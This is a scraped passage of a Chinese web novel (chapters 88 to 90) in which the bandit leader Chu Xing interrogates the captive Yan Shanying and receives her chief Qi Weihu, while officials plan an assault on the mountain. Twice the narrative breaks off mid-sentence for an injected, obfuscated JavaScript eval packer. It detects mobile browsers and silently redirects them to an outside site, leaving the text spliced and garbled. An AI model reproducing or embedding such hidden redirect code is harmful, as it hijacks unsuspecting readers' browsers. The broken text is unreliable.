初暒打了个呵欠,“是,我已经让被杀官兵的头儿手刃马皓,祸暂时嫁不了,就是过几日山下官兵可能会来找我们的麻烦。” 她将官兵找麻烦这事说的像小孩子办家家酒一般云淡风轻,伍二疑惑既然明知官兵会来,为何还要让威虎寨举寨来此呢? 伍二还要再问,一低头却瞧见初暒已经趴在桌上睡着了。 伍二自诩不是个容易对旁人心生好奇的人,可这人身上有太多秘密,多到他恨不能扒开她的脑袋看看里面到底藏了什么东西,但是与初暒共事的这段日子,伍二面对这个对自己有救命之恩的小子,心中除了敬佩以外竟还莫名多了一些依赖。 “真是有病……” 不知道是在骂谁,伍二嘟囔一句后,解下自己的外衣丢盖在初暒肩上,而后转身头也不回地关上聚英堂大门出去处理黑鹰岭家当清点的诸事。 88. 功劳 耳边有洒扫走动和轻手轻脚搁置面盆之类的声响,白冲睁开眼睛左右看了看才发现自己正躺在自家卧房里。 见他掀开被子坐起,屋内小厮高兴地忙跑来问他,“少爷总算醒了,您饿不饿?渴不渴?身上可有哪里还不爽利?” 白冲不答话,只坐在床边揉着酸痛的后颈纳闷,“发生何事了,我刚刚不是还在虔来山么这会儿怎的忽然躺回家里了?” 小厮说,“凌晨有百姓发现您与几位官兵并排躺在兴民城外,吓得连忙报了官,县衙中有与您交好的公子见是您连忙通知了老爷将您接回来的。” 那帮土匪敲晕了他们,还将他们丢到了兴民城外? 真是丢人丢到家门口了。 白冲忽然想起来什么似的,急切问,“柱子呢?” 小厮:“发现时柱子哥就躺在您身边,老爷见其死状惨烈,于心难忍,便将他收拾妥帖后厚葬了。” “柱子舍身救我,该是厚葬。”这小厮问一句答一句,白冲耐着性子继续问,“除了我们几个再没有发现其他人么?” “是,再没了。” 看来威虎寨那位二当家果真将燕山鹰救下了。 白冲气的切齿自言:到手的鸭子就这么飞了,真是可恨! “我爹在哪儿。” “正在州府与慕将军议事。” “慕峰青来了?他何时来的?” “今日将您接回后不久,慕将军来兴民城的消息还不曾散出,小的只听说他是收到老爷送去的信儿后快马加鞭先行赶到的呢。” 白冲以前要是知道慕峰青来兴民城必定会乐得一蹦三尺高,可今时今日一听见这个名字却下意识会想到自己在虔来山中挨过的板子和以血喂养过的蚊虫。 倾慕过的顶头大上司来到自己的地盘,白冲的心中毫无波澜,他下床弯腰蹬鞋的时候听见门外有小厮说,“老爷交代,少爷醒来后便速速到州府答慕将军话。” “知道了。” 胡乱用手巾抹了一下脸,白冲就出门直奔父亲当差的州府。 挥手免了议事大厅外对自己行礼的值守小兵,白冲在门外听见自家老爹亲切又不失恭敬的声音。 “多亏慕将军运筹帷幄、神机妙算,此番才能将那么多被土匪掳去的百姓解救下来,下官已将为您请功的奏章拟好,只等收服虔来山土匪余孽,还四方百姓安宁后一起呈送出去呢。” “此事也并非我一人功劳,白大人您实在客气。” 桌上茶水热气氤氲袅袅,慕峰青捏起茶盏笑笑,又道,“幸得令郎英勇,敢带人在山中与土匪斡旋,不然解救被掳百姓这事也不会这般顺利。” 这话听得白向福喜笑颜开,“那小子向来混账,只在您手下当差几日便立了功,实在是您教导有方……” 那些被掳百姓能够平安下山,不过是威虎寨的二当家歪打正着,跟他俩有什么关系? 两人在厅内互相吹捧,听得白冲寒毛四起,他默默翻了白眼,抬脚进去后抱拳行礼。 “属下白冲,见过慕将军、白大人。” 慕峰青见他进来,寒暄道,“不必拘礼,虔来一行可有受伤?” 白冲:“劳您记挂,属下不曾受伤。” 慕峰青颔首,笑道,“既如此,那便将你在虔来山这数日见闻详细与我和白大人说说罢,好让我们为下一步围剿提前做些谋划。” “是。” 白冲将自己在虔来山寻摸多日后才依据山间冲天黑烟发现黑鹰岭老巢、并在赶赴黑鹰岭途中手刃熊黑等土匪、发现威虎寨与黑鹰岭火拼、得知威虎寨灭刀客谷等见闻全部都告诉了慕峰青,并最后又说一句,“如今虔来山只有威虎寨一家独大,势不可挡,为首的二当家只带百余土匪便可连抢三寨,其勇谋不可小觑,若是与他们真刀真木仓的对上,难保不会落个两败俱伤的下场,依属下所见,应当避免与土匪们兵戎相接,若能派人进山将他们全数招安,既能使兄弟们少些死伤,也能使朝廷御下兵力如虎添翼。” 白冲只用平淡数言就将威虎寨连夺三寨、一统虔来的事迹简要概括,竟让慕峰青觉得既然威虎寨这么短时间就能夺下三寨,只能说明虔来山土匪凶残的传言不过是百姓们言过其实罢了,于是嗤笑,“山中小小土匪而已,何来勇谋,如今已有一官兵死于他们手中,将他们全歼都不足解百姓心中怨怒,就更妄论将他们招安用百姓的钱养着了,你不说为同袍报仇,怎么还这般长他人志气?” 看他不相信自己,白冲撇了撇嘴无话可说。 白大人见慕将军对白冲语气不好,忙圆场道,“慕将军所言有理,是小儿浅薄了,慕将军久经沙场、身经百战,接下来围剿虔来山一事还是由慕将军做主为好啊。” 慕峰青没有理会白向福的奉承,仔细思索片刻,才说,“威虎寨才夺下黑鹰岭与刀客谷,根基还不并太稳,若此时出奇兵强行攻山,定然能将他们打个措手不及!” 白冲闻言立即反驳,“虔来山地形复杂,属下哪怕在山里转悠过多日也难保再进去后不会迷路,若不先派兵逐日上山标记地形、熟悉地势,恐怕还没开始和土匪打,便早被他们在山里绕晕了!” 慕峰青不听他这些怯战言论,只说,“你一个人记不清不代表与你同去的那些人也都记不清,我已决定让先前进过虔来山的官兵组成探路小队,协助王羌曹等人上山围剿威虎寨,你若实在害怕,便在山下候着他们凯旋罢。” 白冲刚想问不找个有经验的人带兵,让一个小衙役领兵打仗是个什么鬼道理时却被自己老爹暗暗踢了一脚,遂住了嘴不再言语。 慕峰青起身外往走,道,“白大人,随我去兴民县衙沙盘前详谈罢。” 白向福:“是。” 躬身送两人出去,白冲抬起自己微痛的后颈看着慕峰青高大的背影有些失落。 前些年,北漠常借口商贸骚扰边境百姓,先皇因病体缠身、缠绵床榻无力支撑,朝中大小官员见势不对皆为自己的前程奔走站队自顾不暇,整个中北除镇守西南的宣威将军齐震啸也再无猛将。 北漠见自己所为并不惹中北震怒,故而越发大胆嚣张,竟将骚扰变成堂而皇之地抢掠,他们虎视眈眈,南夷也伺机而动,就在中北边境动荡、政局不稳之际,北边忽然杀出一支杀气腾腾、锐不可当的军队,他们不见经传、籍籍无名,却偏偏能一次次将北漠悍兵阻挡在边境之外,自此,北漠对上他们再无胜算。 这只军队就像一个不败神话压制在北漠头顶,压得他们身心俱疲却仍痴缠不休,像是恨并迷恋,后来军报传回晁都,先皇大喜,赞其赤胆忠心、气逾霄汉,故赐番赤霄。 白冲经过多番打听才听闻,指挥赤霄军的将领姓慕,年岁不大,带兵杀敌手段却十分了得,好似就是为了战场而生的,哪个好儿郎年少时没有做过叱咤沙场、保家卫国的英雄梦,因而慕将军那样以英勇善战闻名的人自然被他奉如神明。 年前白冲一听到慕将军率两千精兵死守映月关,全歼敌军狡攻主力,击退北漠驻边境残营的消息,便连夜动身从兴民城跑到了晁都,只为一睹慕将军风姿,却不想到了才晓得慕峰青回都时还带了一个叛国旧部。 那日他站在菜市街口对战犯指点吼骂的百姓中,等待行刑时还接过身旁一位揽着竹筐的大娘递来的臭鸡蛋,顺手砸到了那犯人脸上。 行刑前,那犯人终于抬头,白冲发现他看着面前咒骂自己的百姓,眼中有悲怆、有不甘、有惋惜,却唯独没有被欺辱的恨意。 刽子手手起刀落,白冲下意识闭了眼,周围一阵惊呼过后,他眼皮抬起的瞬间,目光忽然落在刑场一侧一位裹着黑袍的男子身上。 他注视着地上的人头,不惶恐,嘴角反勾起一抹笑意,有寒风挑开那人披着的黑袍时,白冲瞧见眼中有凌厉快意的人,就是慕峰青。 白冲没做过将军,更没有被自己信任多年的属下背叛过,他不确定那样满是快意的眼神该不该出现在这样的刑场,也判断不出一个明知山有虎,还非要手下人偏向虎山行的慕将军究竟能不能出奇兵强行攻下虔来山。 柱子已经死了,他不想再让兄弟们白白丢了性命。 脑中忽然回想起那个看起来或许比自己还小一些的土匪少年,曾对他说,‘长了 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初暒趴在聚英堂桌上踏踏实实睡了一个好觉,直到潘闯回来复命却被伍二拦在门外时才被吵醒。 “让他进来。” 伍二:“是。” 潘闯推门而入,躬身抱拳道,“二当家的,小的们已经将那些官兵平安送下山了,小的等兴民城外往来百姓捡走昏迷官兵时,听他们说,‘虔来山有一窝土匪,不掳平民百姓却一见土匪同行就打,打完又跟雁过拔毛似的将人家抢的只剩一条底裤,偏偏跑的比兔子还快,总是来无影去无踪的,就连土匪里最狠毒的黑鹰岭都拿他们没有办法,这些土匪们忙着黑吃黑,倒顾不上骚然山下做买卖的百姓,真是……’” 不猜都晓得百姓口中的这窝土匪是谁,初暒看潘闯这副神情知道他顿在嘴边的不是什么好话,却仍问,“真是什么?” “真是……‘老鼠屎汤里炼出五灵脂——废料也有妙用’。” 初暒失笑,“五灵脂活血止痛,也算是好词。” “咱们做土匪的,挨在身上的词少有好的,这回算是沾二当家的光了。”潘闯笑不出来,拍完马屁又继续言说自己亲耳听到的消息,“二当家的,正是因为前些日子咱们抢夺黑鹰岭土匪时放走的那些汉子,兴民城知州推测虔来山中各家山寨黑吃黑的战况已见激烈,土匪或许也在争斗中自顾不暇,故而那位知州大人早在数日前就削减守卫,命余下兵力分批次安置在兴民城内外,整装待发了,若兴民城将虔来山如今的情况传到慕峰青那头,恐怕要不了多久他们便会带兵上山围剿咱们了,二当家的,要真到那天,咱们可如何是好啊!” “昨夜放跑了那么多被掳汉子,虔来山如今的情况大概已经传到慕峰青耳中了。”初暒倒了杯茶水递给潘闯,安慰道,“该来的总会来的,不怕啊。” “啊?这……” 只是不怕就行了吗? 潘闯接过茶杯乖乖喝了一口,问,“那小的现在能做些什么?” 初暒:“大当家的很快就到黑鹰岭了,你抽空带人将北面正房收拾出来,该丢弃的丢弃,该添置的添置,务必让大当家的住的舒心。” 北面正房坐北朝南,是燕山鹰先前住过的地方,初暒将最好的一间屋子安排给大当家,便是在对众人说,纵使她带人连夺三寨,也终究是齐威虎的手下,她不会像底下喽啰私下嘀咕的那样试图‘篡权夺位’。 虽然潘闯觉得,以二当家如今的功绩,就算夺了齐威虎的权,这段时日跟着她出生入死的兄弟们也不会多说什么,可不多说不代表不多想。 二当家给威虎寨立了功,却不争不抢、居功自傲,此举或许会让旁人心生敬佩,但潘闯心中不知为何莫名为她多出一些不安。 潘闯:“是,小的这就去办。” 黑鹰岭是虔来山中最大的土匪窝,从燕山鹰库房里搜摸出来的钱粮数量倒十分配得上传言中的‘最大’这两个字。 简单用过了饭,初暒趁着伍二带人清点归置库房、潘闯派人修整正屋,小心避过往来喽啰,从后山绕道,独自离开了黑鹰岭。 89. 挑拨 根据记忆来到马皓想用假死逃跑的假山崖,在晌午天光的照耀下,初暒发现此处并非山崖,而只是一片陡坡。 沿陡坡一直走到山底,面前便出现两条延伸到不同方向的小径,其中右边那条狭窄并且蜿蜒,左边那条路却宽而平缓,像是有人常走,初暒觉得眼熟,仔细回想好一会儿才记起面眼前这这幅山形地貌不正是刻在塔鲁阿茶甲片上的地形么。 于是她毫不犹豫地走了右边那条。 脑海中有详细的虔来山矿物地形图参考,故而初暒溜达在地势复杂、蜿蜒崎岖的山路中丝毫不见犹豫,只不过…她依照地形图将图上线路走过一遍后不说矿址,就连用来探测矿山的矿洞都不曾见过一个。 方才走过的地方都与塔鲁阿茶甲片镌刻的地形纹路对上了,这说明那份地形图是真的,可是怎的一点挖掘开采的痕迹都没有呢? 前世曾听人说过‘上有丹沙者,下有黄金。上有慈石者,下有铜金。上有陵石者,下有铅锡赤铜。上有赭者,下有铁’①,矿山的寻找发掘一般有两种法子,其一为直接寻找矿体露头、铁帽、矿砾、有用重砂矿物、采矿遗迹、煤层露头、煤屑、煤泥、煤华、油苗、气苗、地蜡、地沥青、石沥青、碳沥青等,而另一种则需间接寻找,如蚀变围岩、特殊颜色的岩石,特殊地形、特殊地名、特殊植物以及异于常识的天迹发生地等。② 这些话初暒记得清,可她明白想要找矿绝对不可能只凭这三言两语。 自己不是那块料,答应人家的事儿估计也只能办到这儿了。 不知不觉间已经在附近走了大约两个时辰,太阳慢慢落下去,山里就立刻昏沉起来,鸟兽的鸣叫呜咽随着光照隐去,周遭忽然安静不少。 初暒正欲转身返回,忽然在这片静翳中遥遥听见一声几不可闻的枯枝折断声。 入秋许久,山间许多参天大树枝叶都已泛黄坠落,有夜风拂过时,枯枝与树叶碰撞在一起发出声响是常有的事。 但警惕如初暒却并未将这样的响动当做寻常事,她立在原地动了动耳廓,片刻之后,终于确认,在离自己数丈之远的左后方—— 有人。 那人跟的很远,好像宁愿跟丢也不想自己被发现,初暒如他所愿,径直往前快走几步然后身子一闪,一个大活人便瞬间消失树影婆娑的山林之中。 一直跟着的人不见踪影,侧身躲在槐树后的人却并不着急,他左右张望了一会儿从树影中走出来,随意选了一处空地才蹲下捏起地上的黄赭色泥土用指尖摩挲后仔细闻嗅。 “呦,你还懂地质?” 入夜的荒山野岭里倏地从身后传来一道人声,此情此景中,若有人听见这声音不被吓得跳起来惊恐尖叫,怎么说都算一条好汉了。 蹲在地上那人听闻此声心中先是一惊,而后定定心神,站起来转身回看,“装模做个样而已,二当家的,您怎知是我?” 初暒背手从暗处现身,“只是觉得你这追踪人的身手有些熟悉。” 潘闯笑了笑,“我的体力身手还是您给练出来的呢。” 他这话让初暒想起这种熟悉的感觉从何而来,“我在安南书院时,幽王便是派你盯着我的?” 潘闯颔首,却仍旧不解,“二当家早看出我是幽王手下?” 初暒:“鹰隼难驯,驯服后只以哨声为令,你身上那支鱼纹骨哨我瞧着不像寻常人能得来的东西。” “原来如此。” 潘闯取出怀中骨哨,蓄力吹响,不多时,他所在之地上空便出现一只弓着利爪、目光如炬的鹰隼朝此处奔冲下来。 鹰隼是初暒先前收薛霁消息时,在山间见过的那只,它凶猛地从天而降,立在潘闯肩膀上时倒看起来十分乖巧。 潘闯呸呸两声,“这哨子我洗过好几回了,但总感觉有股子尿骚味,二当家的莫见怪啊……” 初暒嫌弃的抿了抿嘴,悄悄后退两步,说回正事,“幽王派你潜伏在这虔来山中,是否也是为了矿址?” “正是。” 潘闯与她解释,“我主子在您入安南书院读书之前收到一块匿名矿石,调查后得知那矿石就是出自虔来山中,于是在您被瘦猴推下悬崖我无人盯守后,我便被派进虔来山查找塔鲁阿茶踪迹以及矿址线索,哪知道小的进豹子山才取得赖豹的信任,您就带手下杀进来取而代之,我将此事通过鹰隼呈报给主子后,得到他万事以您言行为主的命令,到此时才明白,您也是为虔来山矿址一事而来。” “这就是说,幽王对我在虔来中山中所作所为一清二楚。” 初暒语气平淡,潘闯却被吓得不轻,他连忙跪下拱手道,“小的绝非一仆二主、吃里扒外之徒,还请二当家的赎罪!” 清楚就清楚吧,反正她初暒在幽王面前露出马脚也不是一两回了。 “你职责所在,何罪之有。”初暒扶起潘闯,“这样也好,省得我给他写信时还得费力胡诌。” 潘闯啊了一声,见她从袖袋里摸出火折子吹亮后又在发髻上抽出一只炭笔递过来,道,“虔来山矿物地形图所绘之地就在脚下,但你我皆对矿产一事一窍不通,故而需得由擅此道者亲临此处或许才能寻到确切矿产位置,我来照明,你速将此事写下呈报幽王,请他早做打算。” “是!” 潘闯撕下自己衣裳内衬,接过初暒手中炭笔借着火折子火光伏在自己膝头,在布片上仔细撰写。 初暒看他用不惯炭笔,一句话写完后许是觉得某一字笔记潦草,犹豫几瞬还是决定在句中找到潦草那字将其涂黑,重新写过。 黑色的字团在规整的文字中格外显眼,却并不让人觉得突兀。 就像那滴不知是无意还是故意落在山脉地形图上的墨迹…… “二当家的,小的写好了,您过目。” 垂眸沉吟片刻,初暒在潘闯笔迹最后又加了一句话,才让他将布片系在鹰隼腿上后送出。 初暒:“我们出来太久了,尽快回去罢。” 潘闯:“好。” 黑鹰岭中,不时有汉子的哭喊嘶吼从后院柴火房传出来。 在门外看守的喽啰们捂着耳朵忍无可忍时,终于互相使了个眼色,以猜拳输赢决定谁去找当家们汇报此事。 伍二清点完黑鹰岭库房便想立即将账册交于初暒,可他在聚英堂门外叩敲许久都没人应声,直到推开堂门才见堂内空无一人。 早习惯自己这位二当家神不知鬼不觉的行踪,伍二拿起她搁在桌上的自己的外衣套上转身出去。 “伍二哥,二当家可在里头?” 见他出来,猜拳猜输了的喽啰凑上去,无奈再说,“小的有事禀报。” 伍二认出他是看守燕山鹰的喽啰,便转了话头抬步与他往后院柴火房走去,“可是燕山鹰又闹出什么动静了。” “是的呀!唉伍二哥您是不知道,那燕山鹰被咱们从脖子捆到脚脖子,吃喝拉撒睡都在那圈圈麻绳里,这才不到一日就受不了了,哭着喊着要小的们放了他呢。”小喽啰回忆起柴火房里的味道,说的都快吐了,“要是他不喊叫,小的们就只需送饭的时候进去一会儿忍忍也就过去了,可二当家偏偏不让捂他的嘴,这一下午他嚎的快要将小的们耳朵震破了,伍二哥,小的们可否找块布堵了他嘴啊?” 初暒曾说要多晾晾这位黑鹰岭前大当家的,如今看来,这燕山鹰似乎也晾的差不多了。 伍二顿了顿,才说,“不让捂他嘴,自有二当家的道理,且让他再多嚎一会儿。” 喽啰沮丧垂首答完是后,重又跑回柴火房值守。 路过后院厢房,伍二没在修整正屋的人群里找到熟悉身影,便拦住其中一人,问,“潘闯呢?” “啊?潘闯哥与小的们派完活儿,晌午用过饭就不知躲哪儿消遣去了,伍二哥您找他有事儿?” 伍二心中一跳,他早看出从原豹子山出来的潘闯有些不对劲儿,却没想到自己才跟初暒说完这事儿,他们俩就同时不见了。 不会出什么事吧? “诶?那不是潘闯哥和二当家的么……” 伍二在焦灼中听见这话忙回头去瞧,见初暒好端端的回来才总算将心放下。 他疾步向两人迎了过去,先看了一眼潘闯,而后问,“寨中今日人手忙碌、诸事杂乱,二当家的往来其中可有伤着?” 知道他话中意思,初暒拍拍他的肩膀,笑道,“我没事,你放心。” 这便是说潘闯此人没什么问题了。 伍二默默点了点头。 初暒:“潘闯,你派人给燕山鹰准备些沐浴热水。” 潘闯:“是!” 看他离开,初暒又对伍二说,“你随我来。” 初暒带伍二来到关押燕山鹰的柴火房,她挥手让门外值守喽啰退下,推开门同伍二一起进入屋内。 伍二方才听那喽啰描述还不觉得有什么,此时亲自闻到这屋子里的秽物气味才理解燕山鹰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888138|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何会崩溃吼叫。 昨日还是黑鹰岭名义上的大当家,今日却被夺去家当与尊严,沦落成这副模样,哭喊了一下午的燕山鹰用力抬起头,目光复杂的盯着面前睥睨看着自己的威虎寨二当家。 “你为何要救我?” “自然是因为你还有用。” 还有用处,就死不了。 燕山鹰明白这威虎寨二当家暂时不会杀他,胆子大了,心思也生出不少,他看了一眼自己浑身裹缠的麻绳,嘲讽,“若二当家的真有用得上我的地方,只管说便是,实在不必这般折辱。” 初暒不屑,“对我有用的是你的脑袋,并非你的脑子。” 燕山鹰本以为她有求于自己,却没想到会听见这个答案。 “哈哈哈……我先前只听闻威虎寨新上位的二当家彪悍非常、心狠手辣,今日见了才晓得,你这张嘴竟同你的手段一样毒辣。”他笑完,眼中的狡猾也不再掩饰,“你要是只想要我的脑袋,今夜也不会专程走这一趟,有话就直说,说完就快走,莫要让我难堪太久。” “大当家的果然聪慧,难怪能在熊黑手下忍辱负重这么久。” 熊黑已死,她此时提起熊黑绝非偶然,燕山鹰的眼珠子骨碌了一圈后,好像在自己砰砰作响的心跳中发现了自己的生机。 初暒:“都是与人做手下的,我只是好奇,那熊黑入伙黑鹰岭不过半年,凭什么敢如此大胆的在兴民城周边侵袭骚扰,掳人夺命,甚至连大当家的你居然也任由他骑在脖子上一个屁都不敢放?” 伍二进来时,曾顺手将柴火房门半阖,燕山鹰正对柴门,无意间瞥见外面似乎闪过一个人影,他低头掩去嘴角笑意,答,“这有什么好奇的,初二当家的,你若有心效仿,我倒是有办法。” 初暒来了兴趣,“哦?怎么说?” “威虎寨这段时日连收三寨,势头太猛,定然已经被山下那群鹰爪孙们盯上,若你往后不愿受制于官府,我燕山鹰能助你一臂之力,但事成后……”燕山鹰卖了个关子,直视着初暒一字一顿,“我要你这个位置。” 初暒眉头微蹙,好似在思忖他这话是否可信,燕山鹰趁热打铁,继续说,“我听值守喽啰说,你已派人回威虎寨请齐威虎来此处主持大局,可虔来山中谁不知威虎寨能如此迅疾的连夺三寨都是你二当家初暒的功劳,与那抱着老本成日窝在寨中的齐威虎半毛钱关系都没有,你有勇有谋,又手握三寨人手钱粮,何苦屈居人下,费心与他人做嫁衣?以我之见,你与其好奇熊黑为何目中无人、胆大包天,不如将齐威虎引来后杀了他自立门户,自己去做那四寨之主岂不快哉?” 柴火房中静默许久,伍二才听初暒嗤笑一声,道,“真是艺高人胆大,你都这副模样了还敢挑拨我与齐大当家的反目,看来你对自己的底牌十分有把握,不过……” 初暒取出腰间大斧,使斧刃游走在燕山鹰满是泪痕污秽脸颊,阴狠说,“我初暒最厌恶旁人与我讲条件,你要是识相,便把自己知道的全数说与我听,否则,我愿受累,送你去阴曹地府同阎王爷交心。” 大斧斧刃被磨得薄而尖锐,大概因为太过尖锐,才导致它在劈砍后落下几处豁口,这大斧的主人这些日子或许用它砍过不少人,纵使那上面血迹已被擦拭干净,可斧刃划过自己的人中嘴角时,燕山鹰还是能闻到上面沾染的血腥味。 燕山鹰的乌黑瞳孔只跟随自己手中斧刃在眼眶中转动,他的神情十分惊惶,可初暒却丝毫看不出他想开口交代的意思,她感觉自己的耐心已经在发臭的柴火房中消失殆尽,于是高举着大斧直朝燕山鹰的面门挥去。 “报!二当家的!寨外值守弟兄传信回来说,威虎寨齐大当家的约摸还有半个时辰就到黑鹰岭了!” “砰!” 意料之内的剧痛没有出现,燕山鹰缓缓挣开紧闭的双眼才发觉初暒的大斧原来只是砍进自己耳后的木头柱子中。 初暒:“速去通知寨中所有弟兄,列队迎接!” 门外喽啰:“是!” 燕山鹰劫后余生又哈哈大笑起来,“看着像是个忠心耿耿的,齐威虎手下有你,是他的福气。” 初暒不再理他,像是着急为迎接齐威虎做准备似的,燕山鹰看她转身离去,冷不丁又说一句,“我燕山鹰虽然贪生怕死,不惧苟且偷生,但苟且也有苟且的条件。” 燕山鹰看着初暒顿住的背影—— “吾此生只愿屈居于一人之下,唯…一人之下。” 90. 掌权 方大通马不停蹄地赶到威虎寨将初暒命他来请齐大当家的原话说完,得意且与有荣焉的享受了寨中众人对自己投以惊异、不可思议的目光后,抱拳邀请—— “齐大当家的,初二当家正在黑鹰岭恭候着您,咱们收拾收拾尽快动身吧。” 初暒曾说‘要吃掉黑鹰岭,吞下刀客谷,让天下人周知,虔来山一脉中只有威虎寨才是独霸一方的草莽英雄’,然后不过几日,齐威虎竟真在威虎寨中听到了她带人石灭刀客谷,活捉燕山鹰的消息。 面不改色的震惊后,齐威虎环顾一圈只等自己一声令下就要着手新寨乔迁的手下们忽然觉得心虚。 姜九察觉到他的神色有些古怪,上前低声问,“大当家的?” 齐威虎没有说话,只轻轻点了点头,姜九便立即心领神会高声与众人道,“收拾家当,预备启程黑鹰岭!” 威虎寨新收了不少被黑鹰岭逼来偷袭的山中散户,这几日,这些人连同寨里‘老人’早将初暒从豹子山缴获来的粮食吃了个七七八八,因而,说是收拾家当,也不过是将他们这些年攒下的金银细软归整好而已。 姜九盯着手下喽啰装箱完金银珠宝,在齐威虎住处打包大当家衣物细软时,有惯爱鼓唇弄舌的‘新人’钻进来笑说,“带这些作甚,大包小包的,知道的说咱是去黑鹰岭掌权当家,不知道的还以为是威虎寨活不了,赶着去投奔呢。” 他们嘻嘻哈哈,好似在说玩笑话,可姜九心中听着并不舒服,刚要开口辩驳,却见坐在一旁的齐威虎将手中茶盏重重搁在案几上,起身道,“你说的有理,吩咐兄弟们,此行只将寨里值钱的带走,至于其他日用之物,便去看看你们的二当家作何安排罢。” 不带那些多余累赘,威虎寨举寨很快就在方大通的引领下摸黑直奔黑鹰岭。 方大通早年在虔来山中流窜时就曾听说威虎寨这位齐大当家的仗义和善、性情温和的名声,只可惜自己入伙威虎寨那日被初暒来了下马威,一群人在惊心动魄中竟都忘了请她容许他们拜会齐威虎这茬。 这次好不容易有了巴结大上司的机会,方大通一路都在找话与齐威虎拍马屁、攀关系。 为了展示自己识路的出众才能,方大通将他配合初暒用声东击西的计策把熊黑在虔来山溜的来回跑说的生动至极,引得队列里的小喽啰们啧啧称赞。 看气氛调动的差不多,方大通又开始吹捧齐威虎慧眼识人,他将初暒夸得天上有地上无,说的上头时居然将其比作山中猛虎,专治那黑不溜秋的熊瞎子,丝毫没有发现齐威虎越听越难看的脸色。 直到姜九忍不住,悄悄提醒他一句,“哥哥常在山中游走,豺狼虎豹之类猛兽自然是见多不怪,可小弟我没什么见识,在这虔来山中许久才只见过一只老虎。” 顺着姜九眼睛乱瞟的方向,方大通瞧见月光下齐威虎阴翳的瞳孔才终于反应过来,他说的此虎,非彼虎。 后脊冷汗一阵一阵涌出,方大通连忙找补,“姜九兄弟真是说笑了,山中霸王如何能多的见怪不怪呢,此生能见着一位已是三生有幸了,哥哥运气好,或许与姜九兄弟见过的老虎是同一个呢。” 姜九讪笑两声,忽然他像是瞧见什么似的,指着前方不远一处有火光的山岭,道,“大通哥哥,那里是否就是黑鹰岭了?” 方大通顺着他手指的位置看去,点头,“是,咱们马上就到了。” 威虎寨两位当家一别数日,如今终于快要见面了。 可…… 一山不容二虎,一寨大概也容不得二主…… 前方树影晃动,好似潜伏着无数涌动的暗流。 方大通一心在想怎么能趁机获得威虎寨大当家的信任与好能与初暒平起平坐,竟不曾注意到那些晃动树影背后隐匿的人形。 齐威虎:“大通兄弟这会儿怎么不说话了?” 方大通躬身走在齐威虎身边,“方才失言,小的心中还是十分惶恐。” “你我兄弟之间,有话直言便是,说什么惶恐不惶恐,怪生分的。” “都说您为人仗义、平易近人,今日一见果真如此,也难怪这虔来山中这么多兄弟都前赴后继的想要入您的伙了。” “或许就是吃了那平易近人的亏,才叫因此入我伙的人慢慢骑到我的头上,大通兄弟,我看你年纪不大,本事却过人,不知我那二当家借你势拿下黑鹰岭与刀客谷后可曾许过你什么诺?” 齐威虎脸上挂笑,那笑容让方大通浑身瘆得慌,他颔首恭敬说,“二当家操心的事多,不曾许诺过小的什么,再者,大当家的您才是威虎寨的当家,您不在场,二当家的许什么诺都不能当真的。” “哈哈哈,你这话说的倒是让我舒心。”齐威虎拍拍他的肩膀,笑道,“大通兄弟你且放心,我齐威虎向来珍视有才能的人,跟着我,定不会叫你吃亏。” “是……” 谈笑间便站完了队,方大通偷偷瞥见齐威虎已见平和的眼色终于松了口气。 初暒拿下黑鹰岭当日便立即安排好山寨外方圆数里的防卫值守,故而在方大通松完气半个时辰之后他们来到黑鹰岭寨门前,齐威虎一眼就看到了列队站在院中恭恭敬敬迎接自己的数百喽啰。 他们躬身整齐高喊—— “恭迎齐大当家的乔迁新居!” “恭迎齐大当家的乔迁新居!” 齐威虎心中倍感震撼,脸上却瞧不出一丝狂喜,直到初暒从列队的小喽啰们让出的路中走出来后,他略显僵硬地嘴角才轻轻颤动了一瞬。 “小弟初暒,恭迎齐大当家的乔迁新居。” 她抱拳微微颔首,浑身不见一丁点位居人下的畏缩,齐威虎甚至能看到火光闪动里她那双不可一世的眉眼。 心中莫名来了火气,齐威虎哼笑,“虔来山中变了天,山里喽啰们的骨头也都跟着硬了,见了当家的连跪都不会了。” 齐威虎在阴阳怪气,没同他打过交道的以为这话是专说给他们这些被俘喽啰听的,都低头互相看着不知该如何是好。 方大通眼观鼻、鼻观心,知道齐威虎是因为初暒出场时姿态不低惹得他心中不悦,于是他率先扑通跪地,又高呼一句,“恭迎齐大当家的乔迁新居!” 有人打了样,寨中土匪喽啰也赶紧学着他跪地高呼,一时间黑鹰岭院中黑压压跪倒了一片。 大家都跪着,那么不跪的就格外显眼。 站在初暒右后方的潘闯四下看看,犹豫一会儿不知看见了什么,扑通一声也同大家一样匍匐在地,唯有初暒,与站在初暒左后的伍二立于原地不动如山。 众人都跪了,可这两人却视而不见。 果真是出来见过世面,便知道反天了。 齐威虎心中有火,却忍着想要发作的满腹怒气,他转了转眼珠子,预备说些场面话转圜一下此时的压抑氛围,又见那位站立着的清瘦少年,反手接过伍二递去的状似账册之物后,双手将其转正捧上与自己道,“小弟不负大当家所望,灭刀客谷、收黑鹰岭,如今虔来山匪寨已经合而为一,请大当家的屈尊受命,执掌四寨大权。” 他不顾艰险连夺三寨,到最后宁愿上缴账册也不愿向自己下跪,可见他所图并非是这虔来山中的钱与利。 齐威虎眼中闪过杀意,下一瞬却接过账册虚扶起初暒,笑道,“初老弟辛苦了,我瞧你面容憔悴,这几日都没有好好歇过吧?” “寨中繁多事物,小弟年轻,诸事又没有大当家处置老练,整日忙的晕头转向,幸而有您及时赶到,小弟至此才能放下心,过过清闲日子。”初暒笑笑,侧身抬手,“大当家的,咱们闲话酒席上再说,小弟为您与威虎寨诸位兄弟准备的接风宴已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 